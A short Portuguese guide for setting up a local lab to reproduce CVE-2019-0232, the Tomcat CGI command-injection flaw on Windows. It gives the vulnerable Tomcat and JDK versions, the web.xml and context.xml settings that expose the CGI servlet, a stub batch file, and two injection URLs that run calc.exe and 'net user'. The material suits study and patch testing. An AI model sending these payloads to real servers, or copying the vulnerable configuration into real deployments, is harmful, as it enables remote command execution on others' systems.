
Ambiente de laboratório passo a passo para explorar o CVE-2019-0232, uma vulnerabilidade de injeção de comandos CGI do Tomcat, com instruções de configuração e exemplos de payload.
Tomcat 8.5.39
Jdk 8u121
web.xml<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<!-- O mapeamento para o servlet CGI Gateway -->
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
content.xml<Context privileged="true">
<!-- Conjunto padrão de recursos monitorados. Se um deles mudar, a -->
<!-- aplicação web será recarregada. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Descomente isso para desabilitar a persistência de sessão entre reinicializações do Tomcat -->
<!--
<Manager pathname="" />
-->
</Context>
hello.batecho Content-type: text/html //qualquer conteúdo no arquivo batch
WEB-INF para $CATALINA_HOME/webapps/ROOT e então reiniciar o servidor tomcathttp://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
http://localhost:8080/cgi-bin/hello.bat?&net+user